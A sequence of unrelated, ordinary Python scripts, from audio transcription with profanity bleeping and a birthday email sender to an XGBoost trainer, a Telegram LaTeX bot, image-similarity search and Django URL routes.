	headers_auth_only = {'authorization': auth}
    # download the audio of the YouTube video locally
	meta = get_vid(link)
	save_location = meta['id'] + ".mp3"
	# start the transcription of the audio file
	transcript_request = {
		'audio_url': upload_file(save_location, auth),
        "filter_profanity": True
	}

	transcript_response = requests.post(transcript_endpoint, json=transcript_request, headers=headers_auth_only)

	# this is the id of the file that is being transcribed in the AssemblyAI servers
	# we will use this id to access the completed transcription
	transcript_id = transcript_response.json()['id']
	polling_endpoint = transcript_endpoint + "/" + transcript_id

	return polling_endpoint, save_location

# return the status of a given transcript
def get_status(polling_endpoint, auth):
    headers_auth_only = {'authorization': auth}
    polling_response = requests.get(polling_endpoint, headers=headers_auth_only)
    return polling_response.json()['status']

# repeatedly checks the status of a given transcript until the status is completed or error
def poll(polling_endpoint, auth):
    status = get_status(polling_endpoint, auth)
    while status not in ["error", "completed"]:
        time.sleep(10)
        status = get_status(polling_endpoint, auth)

def censor_profanity(transcript, audio_file, beep):
    sound = AudioSegment.from_file(audio_file)

    # create output audio
    newsound = AudioSegment.empty()
    #time stamp of the last profanity: 0 by default
    last_vulgarity = 0
    for word in transcript['words']:
        if re.search("[a-zA-Z]\*+", word['text']):
            newsound += sound[last_vulgarity:word['start']]
            newsound += beep[:word['end']-word['start']]
            last_vulgarity = word['end']
    newsound += sound[last_vulgarity:]
    newsound.export("final.mp3", format="mp3")
    return "final.mp3"


import smtplib
import sys
import datetime
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def send_email(toaddr):
    fromaddr = "ssirisha639@gmail.com"
    msg = MIMEMultipart()
    msg['Subject'] = "GREETINGS!!!!"
    msg['From'] = fromaddr
    msg['To'] = ",".join(toaddr)

    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.ehlo()
    server.starttls()
    server.login("ssirisha639@gmail.com", "YOUR PASSWORD")

    body = "WISH YOU A VERY HAPPY BIRTHDAY DEAR!!\nMAY GOD BLESS YOU WITH ABUNDANT LOVE AND HAPPINESS THIS BIRTHDAY\n" \
       "ALL THE BEST FOR YOUR FUTURE ENDEAVOURS.\n" \
       "REGARDS SAI SIRISHA :)"
    msg.attach(MIMEText(body, 'plain'))
    text = msg.as_string()
    server.sendmail(fromaddr,toaddr, text)
    server.quit()

def send_to(cy,date):
    file = open("receiver.txt",'r')
    toaddr = []
    for line in file:
        key,val = line.split(":")
        if str(str(cy)+'-'+key).strip() == str(date).strip():
            if ',' in val:
                toaddr = [i.strip() for i in val.split(",")]
            else:
                toaddr.append(val.strip())
    send_email(toaddr)

def today_time():
    now = datetime.datetime.now()
    today_date = datetime.date.today()  # today's date

    cy = now.year  # current year
    send_to(cy,today_date)

if __name__ == "__main__":
    sys.exit(today_time())


class FileReader():

    def __init__(self, file_name):
        self.name = file_name

    def read(self):
        inner_file = ""
        try:
            with open(self.name) as f:
                inner_file = str(f.read())
        except IOError as err:
            print(err)
        return inner_file

reader = FileReader("example1.txt")
print(reader.read())


import sys
input = lambda: sys.stdin.readline().rstrip()
g = lambda: [*map(int, input().split())]

t1, t2 = input().split()
h1, m1 = map(int, t1.split(':'))
h2, m2 = map(int, t2.split(':'))

N, T = g()
num_per_day = ((h2 - h1) * 60 + (m2 - m1) - 1) // T
day, left = divmod(N, num_per_day)
time = (h1 * 60 + m1) + T * (left + 1)
h, m = divmod(time, 60)
print(day)
print(f"{h:02d}:{m:02d}")


# 将id对应的频次画图
import pandas as pd
from matplotlib import pyplot as plt

def plot_frequency(id_class):
	df_from = pd.read_csv(id_class+'_from_frequency.csv')
	df_to = pd.read_csv(id_class+'_to_frequency.csv')
	#
	# print(df_from['id'])
	# print(df_to['id'])
	# exit(1)
	if df_from['id'].all() == df_to['id'].all():
		X = df_from['id']
		Y_from = df_from['frequency']
		Y_to = df_to['frequency']

		plt.xlim(1000, 1500)
		plt.ylim(0, 400)

		for i in range(len(Y_to)):
			if Y_to[i] > 400:
				Y_to[i] = 400

		plt.yticks(fontsize=15)
		plt.xticks(fontsize=15)

		plt.title('from_to_frequency of '+id_class, fontsize=25)

		plt.xlabel('id', fontsize=18)
		plt.ylabel('frequency', fontsize=18)
		plt.plot(X, Y_from, color='green', linestyle='-', label='From_frequency')
		plt.plot(X, Y_to, color='red', linestyle='-', label='To_frequency')

		plt.legend(loc='higher left', fontsize=10)

		plt.show()

if __name__=='__main__':
	id_class = 'dev'
	plot_frequency(id_class)


"Model Trainer Component"

import os
import sys
from typing import Optional
import numpy as np
from xgboost import XGBClassifier
from sklearn.metrics import f1_score
from sensor.entity import config_entity
from sensor.entity import artifact_entity
from sensor.logger import logging
from sensor.exception import SensorException
from sensor import utils

class ModelTrainer:
    """
    Model Trainer Component
    ---------------------------------------------------------
    input:
     - `model_trainer_config`: Model Trainer Configuration
     - `data_transformation_artifact`: Data Transformation Artifact
    ---------------------------------------------------------
    return: Model Trainer Artifact
    """

    def __init__(self, model_trainer_config: config_entity.ModelTrainerConfig, data_transformation_artifact: artifact_entity.DataTransformationArtifact):
        try:
            self.model_trainer_config = model_trainer_config

            self.data_transformation_artifact = data_transformation_artifact

        except Exception as e:
            raise SensorException(e, sys)

    def train_model(self, x: np.array, y: np.array)->XGBClassifier:
        """
        Creates a XGBClassifier which was selected during the experimentation
        ------------------------------------------------------------
        input:
         - `x`: input feature array
         - `y`: target feature array
        ------------------------------------------------------------
        return: `XGBClassifier`
        """
        try:
            logging.info(f"Creating XGBClassifier model")
            xgb_clf = XGBClassifier()

            logging.info(f"Fitting the XGBClassifier model")
            xgb_clf.fit(x, y)

            return xgb_clf

        except Exception as e:
            raise SensorException(e, sys)

    def initiate_model_trainer(self)->artifact_entity.ModelTrainerArtifact:
        """
        Initiates Model Trainer Component
        ------------------------------------------------------------
        input: `None`
        -----------------------------------------------------------
        return: Model Trainer Artifact
        """

        try:
            # Load train
            logging.info(f"Reading train array")
            train_arr = utils.load_numpy_array_data(file_path=self.data_transformation_artifact.transformed_train_path)

            # Load test array
            logging.info(f"Reading test array")
            test_arr = utils.load_numpy_array_data(file_path=self.data_transformation_artifact.transformed_test_path)

            # Split train array in input and target feature array
            logging.info(f"Splitting train array in input and target feature array")
            x_train, y_train = train_arr[:,:-1], train_arr[:,-1]

            # Split test array in input and target feature array
            logging.info(f"Splitting test array in input and target feature array")
            x_test,y_test = test_arr[:,:-1], test_arr[:,-1]

            # Calling model trainer method
            logging.info(f"Calling model trainer method")
            model = self.train_model(x=x_train, y=y_train)

            # Predict the value of target using model for training array
            logging.info(f"Predicting the value of target feature for training array")
            y_hat_train = model.predict(x_train)

            # Calculate f1 score for training array
            logging.info(f"Calculating f1 score for train array")
            f1_train_score = f1_score(y_true=y_train, y_pred=y_hat_train)

            # Predict the value of target using model for test array
            logging.info(f"Predicting the value of target feature for test array")
            y_hat_test = model.predict(x_test)

            # Calculate f1 score for test array
            logging.info(f"Calculating f1 score for test array")
            f1_test_score = f1_score(y_true=y_test, y_pred=y_hat_test)

            # Check for underfitting
            logging.info(f"Checking Model is Underfitting or not")
            if f1_test_score < self.model_trainer_config.expected_score:
                logging.info(f"Model is Underfitting ! Expected Score:: {self.model_trainer_config.expected_score} Achieved Score:: {f1_test_score}")

                raise Exception(f"Model is Underfitting ! Expected Score:: {self.model_trainer_config.expected_score} Achieved Score:: {f1_test_score}")

            logging.info(f"Model is not Underfitting")

            # Check for overfitting
            logging.info(f"Checking Model is Overfitting  or not")

            logging.info(f"Calculating f1 test and train score difference")
            diff = abs(f1_train_score - f1_test_score)

            if diff > self.model_trainer_config.overfitting_threshold:
                logging.info(f"Model is Overfitting! Expected Threshold:: {self.model_trainer_config.overfitting_threshold} Diff of train and test score:: {diff}")

                raise Exception(f"Model is Overfitting! Expected Threshold:: {self.model_trainer_config.overfitting_threshold} Diff of train and test score:: {diff}")

            logging.info(f"Model is not Overfitting")

            # Save the trained model object
            logging.info(f"Saving the model object")
            utils.save_object(file_path=self.model_trainer_config.model_path, obj=model)

            # Prepare the artifact
            logging.info(f"Preparing Model Trainer artifacts")
            model_trainer_artifact  = artifact_entity.ModelTrainerArtifact(model_path=self.model_trainer_config.model_path,
            f1_train_score=f1_train_score, f1_test_score=f1_test_score)

            return model_trainer_artifact

        except Exception as e:
            raise SensorException(e, sys)


import json
from datetime import datetime
from dotenv import load_dotenv
load_dotenv()

def append_meta(request, text, metadata_only = False):
  meta = {
    'url': request.url,
    'title': request.html.find('title', first=True).text if len(request.html.find('title')) != 0 else '',
    'description': request.html.find('meta[name="description"]', first=True).attrs.get('content') if  request.html.find('meta[name="description"]', first=True) != None else '',
    'published':request.html.find('meta[property="article:published_time"]', first=True).attrs.get('content') if request.html.find('meta[property="article:published_time"]', first=True) != None else datetime.today().strftime('%Y-%m-%d %H:%M:%S'),
    'wordCount': len(text.split(' ')),
  }
  return "Article JSON Metadata:\n"+json.dumps(meta)+"\n\n\nText Content:\n" + text if metadata_only == False else meta


"""
Program:  sequentialsearch.py
Author:  Chad Lister
Date:  01/21/2021

DS Chapter # 3 Project # 1:

    Define a modified sequential search algorithm, and state it's complexity
    For worst, best, and average using Big-O notaion.

"""

def main():
    """ The main function. """

    # iteration counter.
    position = 1

    lyst = [1, 3, 6, 9, 4]
    print("For the list of", lyst)
    print("Target for Worst-Case is 4.")
    target = 4

    def sequentialSearch(target, lyst):

        position = 0
        while position < len(lyst):
            if target == lyst[position]:
                return position
            position += 1
        return -1

    position += sequentialSearch(target, lyst)

    print("The Worst-Case performance of the sequential search is O(n).")
    print("With ", position, "number of iterations.\n")

    print("For the list of", lyst)
    print("Target for Average-Case is 6.")
    target = 6
    position = 1

    position += sequentialSearch(target, lyst)

    print("The Average-Case performance of the sequential search is still O(n).")
    print("With ", position, "number of iterations.\n")

    print("For the list of", lyst)
    print("Target for Best-Case is 1")
    target = 1
    position = 1

    print("The Best-Case performance of the sequential search is O(1), ie; O(n).")
    print("With ", position, "number of iterations.")

main()

DS Chapter # 3 Projects 1, 3, 5, 8/DS Chapter # 3 Project #  1/sequentialSearch.py


import logging
from uuid import uuid4
import re
from telegram.ext import Updater, InlineQueryHandler
from telegram import InlineQueryResultCachedPhoto
import matplotlib.pyplot as plt
import matplotlib

# Config
botID = "xxxx" # ID of the bot
matplotlib.rcParams['text.usetex'] = True
matplotlib.rcParams['text.latex.preamble'] = r"\usepackage{{amsmath}}"
updater = Updater(token=botID,use_context=True)
bot = updater.bot
dispatcher = updater.dispatcher
logging.basicConfig(format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",level=logging.INFO)
upload_id = 000000 # Private channel ID for the bot to send the imgs

# Creates the image with the formula
def to_latex(formula,id):
    img_name = "image.jpeg"
    fig = plt.figure()
    fig.text(0.5,0.5,formula,fontsize=20,horizontalalignment="center",verticalalignment="center")
    fig.savefig(img_name)
    return img_name

# Handler of inline requestes
def inline_formula(update, context):
    query = update.inline_query.query
    if not query:
        return
    if (re.search(r"\^\$.*\$",query) is None):
        return
    # Create the photo
    print("TRANSFORMING: "+query+"\n")
    photoinfo = bot.send_photo(
        chat_id=upload_id,
        photo=open(to_latex(query,update.inline_query.id),"rb"),
        caption="Formula"
    )
    # Send the photo
    results = [
        InlineQueryResultCachedPhoto(
            id=uuid4(),
            photo_file_id=photoinfo["photo"][-1]["file_id"],
            title="Formula"
        )
    ]
    context.bot.answer_inline_query(update.inline_query.id, results)

# Adding the handler
inline_formula_handler = InlineQueryHandler(callback=inline_formula)
dispatcher.add_handler(inline_formula_handler)

updater.start_polling()


import sys
import re

__author__ = "Kilian Straka"
__date__ = "10.11.2021"

input = open(str(sys.argv[1]), 'r')

d = dict()

for line in input:
    line = line.strip()
    words = re.split('[.\s]', line)

    for word in words:
        # Check if the word is already in dictionary
        if bool(re.match('^[a-zA-Z]{2,20}(?:_[a-zA-Z]+)*$', word)):
            if word in d:
                # Increment count of word by 1
                d[word] = d[word] + 1
            else:
                # Add the word to dictionary with count 1
                d[word] = 1

for key in list(d.keys()):
    print(d[key], ":\t", key)


from skimage.metrics import structural_similarity
import cv2
import numpy as np

import sys
import os

def compare(path1, path2):
    first = cv2.imread(path1)
    second = cv2.imread(path2)

    if first.shape != second.shape:
        # change to size of smaller one
        if first.shape[0]*first.shape[1] < second.shape[0] * second.shape[1]:
            first, second = second, first
        second = cv2.resize(second, (first.shape[1], first.shape[0]), interpolation = cv2.INTER_AREA)

    # Compute SSIM between two images
    score, diff = structural_similarity(first, second, full=True, channel_axis=2)
    return score

source_image = sys.argv[2]
path_of_images = sys.argv[1]

mx = 0
curr_best = ""

options = []

for filename in os.listdir(path_of_images):
    if filename.endswith('.jpg'):
        curr = compare(path_of_images + filename, source_image)

        options.append((curr,filename))
        # if curr > mx:
        #     mx = curr
        #     curr_best = filename

options.sort()
options.reverse()
print()
print()
print(path_of_images + options[0][1])
print("Similarity Score: {:.3f}%".format(options[0][0] * 100))

print(options[0:5])


from django.urls import path

from . import views

app_name = 'item_app'

urlpatterns = [
    # Оплата одного предмета
    path('item/<int:item_id>/', views.item, name='item'),
    path(
        'buy/<id>/',
        views.item_checkout_session,
        name='item_checkout_session'
    ),
    # Оплата заказа
    path('order/<int:order_id>/', views.order, name='order'),
    path(
        'buy-order/<id>/',
        views.order_checkout_session,
        name='order_checkout_session'
    ),
    # Странички успешной и неуспешной оплаты
    path('success/', views.PaymentSuccessView.as_view(), name='success'),
    path('failed/', views.PaymentFailedView.as_view(), name='failed'),
]